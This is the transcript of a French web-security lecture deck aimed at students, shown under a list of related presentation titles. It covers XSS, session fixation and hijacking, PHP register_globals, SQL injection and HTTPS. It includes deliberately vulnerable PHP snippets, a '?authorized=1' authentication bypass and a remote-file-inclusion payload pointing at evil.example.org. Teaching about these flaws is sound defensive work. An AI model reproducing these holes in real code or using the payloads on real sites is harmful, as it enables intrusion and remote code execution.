MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.

Slides:



Advertisements
Présentations similaires
Novembre 2005 – Michel Desconnets PHP : théorie Objectif : introduire les concepts globaux permettant d'aborder la programmation en PHP.
Advertisements

Introduction au méta tag Cours PHP/MySQL – Année Spéciale – IUT AMIENS
CRÉER UNE APPLICATION INTERNET RELIEE A UNE BASE DE DONNEES
Logiciels Libres Pour Le Web Concept express… En installer en 3mn …En personnaliser certains.
ASP.NET 2.0 et la sécurité Nicolas CLERC
TOUQUET Arnaud ▪ GI05 BLONDEEL Igor ▪ GM05
Chapitre 3 Les Formulaires en PHP
CORRECTION DU DEVOIR DE SYNTHESE N° 2
Internet.
TRANSFER Alger – Serveur Web Nicolas Larrousse Septembre Petit historique du Worl Wide Web Notion dHypertexte Extension à internet par Tim Berners.
Xavier Tannier Yann Jacob Sécurite Web.
Présentation Mars 2007 Organet II: service de gestion du déroulement des épreuves dans les établissements centres d’examen Organet II est un produit pour.
Formulaire HTML Introduction. Définition de formulaire.
Découvrez notre plate-forme de gestion de listes de diffusion.
Un peu de sécurité Modal Web Modal Baptiste DESPREZ
Soutenance de stage · Par : Guillaume Prévost · Entreprise : Cynetic
Sécurité Informatique
Oct.-2000DESS IIDEE © B. BAH 1 ASP Caractéristiques dun fichier ASP Son extension : « *.asp » La balise: Son indépendance vis à vis de toute plate–forme,
2006/2007Denis Cabasson – Programmation Web Cours de programmation web ENSAE
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur.
Les Redirections et renvois non validés
Violation de Gestion d’authentification et de Session
Web et Flux RSS Sébastien Bayle. 30/01/09 Comment faire un site web aujourdhui ? – Construire son propre site – Utiliser des outils OpenSource – Utiliser.
Développement dapplications web Initiation à la sécurité 1.
Comprendre l’environnement Web
Les instructions PHP pour l'accès à une base de données MySql

Médiathèque de Sélestat - 5 février 2005 Olivier Andrieu Comment ne pas être visible sur les moteurs de recherche.
Xavier Tannier Sécurite Web.
28 novembre 2012 Grégory Petit
Jeudi, 20 août 2009 Sécurité informatique Cégep de St-Hyacinthe Par Hugo St-Louis.
Internet : la mémoire courte ? Capture de sites Web en ligne Conférence B.N.F, Avril 2004 Xavier Roche(HTTrack)
29/01/2009 Julien Arnoux et Jérémy Depoil
Développement dapplications web Authentification, session.
PHP Géant Aurélien. PHP (Hypertext Preprocessor) Langage de scripts libre Permet produire des pages Web dynamiques dispose d'un très grand nombre d'API(Application.
Web dynamique PhP + MySQL AYARI Mejdi 2006
AJAX.
MODEX WEB BAPTISTE DESPREZ Un peu de sécurité. Javascript JavaScript / Jquery Langage de script (comme PHP) Exécuté par votre navigateur (Firefox, IE,
S ÉCURITÉ I NFORMATIQUE Asp.net. P LAN Sécurité sur Internet Sécurité avec ASP.net Gestion des comptes et droits d’accès Utilisation des contrôles de.
FM Global TouchPoints
PHP & My SQL.
Date : Juillet 2014 Formation : TAI Formateur : Tayeb BENDJELTI
GROUPE BTS IRIS 2 Informatique et Réseaux pour l’industrie et les Services techniques E-6 PROJET INFORMATIQUE REVUE N°2      INTERROGATION DE LA BASE DE.
PHP 5° PARTIE : LES COOKIES
0 Objectifs de la session n°1  Revenir sur toutes les bases théoriques nécessaires pour devenir un développeur Web,  Découvrir l’ensemble des langages.
Cours de programmation web
Lyda tourisme Process en PHP. Objectif Il s’agit de construire un segment de process dans un système d’information touristique.
1 Utiliser un blog “écrire un billet ou un commentaire et le publier” Quelques données techniques: Un blog est une suite d’articles appelés billets, publiés.
420-B63 Programmation Web Avancée Auteur : Frédéric Thériault 1.
Institut Supérieur d’Informatique
Installation et Configuration Internet Information Server (IIS 6)
Concevoir un site web de A a Z Cours 3. Aujourd’hui Découper sa page en tranche pour une intégration graphique optimale avec Photoshop L’intégration des.
Page 1Dernière mise à jour: 17 avril 2015 Service de l'enseignement des technologies de l'information, © HEC Montréal, Tous droits réservés.
PHP 6° PARTIE : LES SESSIONS 1.Introduction 2.Identificateur de session 3.Variables de session 4.Client / Serveur 5.Principe 6.Ouverture de session 7.Enregistrement.
 Formulaires HTML : traiter les entrées utilisateur
Initiation au JavaScript
 Fonctions diverses, scripts PHP Variables de session Les sessions sous PHP permettent de conserver des données d'un utilisateur coté serveur, lors de.
Sécurité des systèmes d’information: Web Security & Honeypots
■ Atteindre la base académique ■ Utiliser le site central pour trouver le site de l’établissement: ■ Accepter.
CPI/BTS 2 Programmation Web Les sites dynamiques Prog Web CPI/BTS2 – M. Dravet – 02/10/2003 Dernière modification: 02/10/2003.
LES BASES DE DONNEES PRÉSENTÉ PAR CATHY ET THIBAULT.
Sécurité des Web Services
Chaîne de requêteCookieSession Sauvegarder un état via l'url Sauvegarder l'état La technique consiste à passer des informations via l'URL sous la forme:
Quelques concepts à connaître Sur un serveur, qu’est-ce que l’on voit et compte ?  Les navigateurs laissent des traces le type de navigateur. Les systèmes.
Revue projet Final : Session 2006
APP-TSWD Apprentissage Par Problèmes Techniques des Sites Web Dynamiques Licence Professionnelle FNEPI Valérie Bellynck, Benjamin Brichet-Billet, Mazen.
Violation de Gestion d’authentification et de Session
Introduction Depuis le début des sites web les urls sont utilisé pour la navigation. Avec l’arrivée des bases de données, les urls ont prit de l’importance.
(fait son épicerie les jeudi). Cross site Scripting est l'attaque web la plus commune.
Développement d’applications Web
Transcription de la présentation:

MODEX WEB BAPTISTE DESPREZ Un peu de sécurité

Avant dentrer dans le vif du sujet JavaScript Langage de script (comme PHP) Exécuté par votre navigateur (Firefox, IE, Opera, …) Présent sur presque tous les sites au cœur des pages HTML (Gmail, phpMyAdmin, …) Attention ! Il est possible de désactiver JavaScript dans votre navigateur

Cross Site Scripting (XSS) En quoi ça consiste ? Le XSS consiste à exploiter une faiblesse dun site web qui contrôle mal les données insérées par les utilisateurs Les risques Un utilisateur malveillant peut insérer son propre code HTML ou JavaScript

Cross Site Scripting (XSS) Quelques « pistes » pour se protéger : Htmlspecialchars($chaine, ENT_QUOTES) Contrôlez les données que lutilisateur peut insérer et qui sont directement affichées dans vos pages Mieux vaut gérer une liste « blanche » quune liste « noire »

Usurpation de session En quoi ça consiste ? Lusurpation de session consiste à accéder à la session dun autre utilisateur On distingue 3 types dattaques de session : Interception Prédiction Fixation Les risques Un utilisateur malveillant peut prendre lidentité dune autre personne, casser le site, envoyer des messages sous une autre identité, …

Usurpation de session Prédiction Consiste à deviner un identifiant de session valide Interception Consiste à récupérer lID de session (PHPSESSID) via une faille XSS comme tout à lheure, ou via GET quand la configuration de PHP le permet Fixation Consiste à fixer lID de session AVANT dutiliser lapplication Le pirate envoie l'URL à un utilisateur L'utilisateur suit le lien, sil ne possède pas de cookie de session, il va initialiser la session à 1234 L'utilisateur entre son login et s'identifie Le pirate suit alors et se retrouve à la racine du site, avec la session de l'utilisateur fraichement authentifié Si l'utilisateur est administrateur, le pirate peut directement aller sur

Usurpation de session Quelques pistes pour se protéger ini_set('session.use_trans_sid', '0'); Régénérer votre session, pour compliquer un peu la tâche du pirate ;) <?php session_name("Mon_Beau_Site_Web" ); session_start(); if (!isset($_SESSION['initiated'])) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?>

Register Globals Directive du fichier de configuration de PHP (php.ini) OFF par défaut depuis php 4.2 ON sur certains serveurs pour des raisons de compatibilité…

<?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ?> ?authorized=1 dans lURL suffit à contourner la protection Register Globals

<?php include "$path/script.php"; ?> ?path=http%3A%2F%2Fevil.example.org%2F%3F dans lURL va donner : include " Register Globals

Quelques « pistes » pour se protéger : ini_set('register_globals', '0'); ini_set(allow_url_fopen', '0');

Injection SQL En quoi ça consiste ? Linjection SQL consiste à exploiter une faiblesse dun site web qui contrôle mal les données insérées par les utilisateurs (jinsiste) Les risques Un utilisateur malveillant peut insérer du code SQL et : Au pire, détruire ou modifier la base de données Au mieux, accéder à des données confidentielles

Injection SQL Quelques « pistes » pour se protéger : Vérifier le format des données saisies et notamment la présence de caractères spéciaux Ne pas afficher de messages d'erreur explicites affichant la requête ou une partie de la requête SQL Eviter les comptes sans mot de passe Restreindre au minimum les privilèges des comptes utilisés Mysql_escape_string() ou Addslashes() Htmlspecialchars($chaine, ENT_QUOTES)

HTTP S en pratique

JavaScript, le retour

Vivons heureux, vivons cachés ! Phpinfo : ne loubliez pas ! Affichage des erreurs Affichage des messages de debug

Conclusion Contrôlez !!! Sécurisez les données sensibles avec HTTPS (si possible) Méfiez-vous de ce que vous trouvez sur Internet PhpMyAdmin : 10 failles de sécurité en 2008 Mediawiki : 4 failles de sécurité en 2008 … Payant ne veut pas dire plus sécurisé ! La plupart des intrusions sont faites de manière automatiques par des robots (GoogleHacking, …)

Quelques liens security/page1 security/page pauli.developpez.com/tutoriels/securite/developpe ment-web-securite/ pauli.developpez.com/tutoriels/securite/developpe ment-web-securite/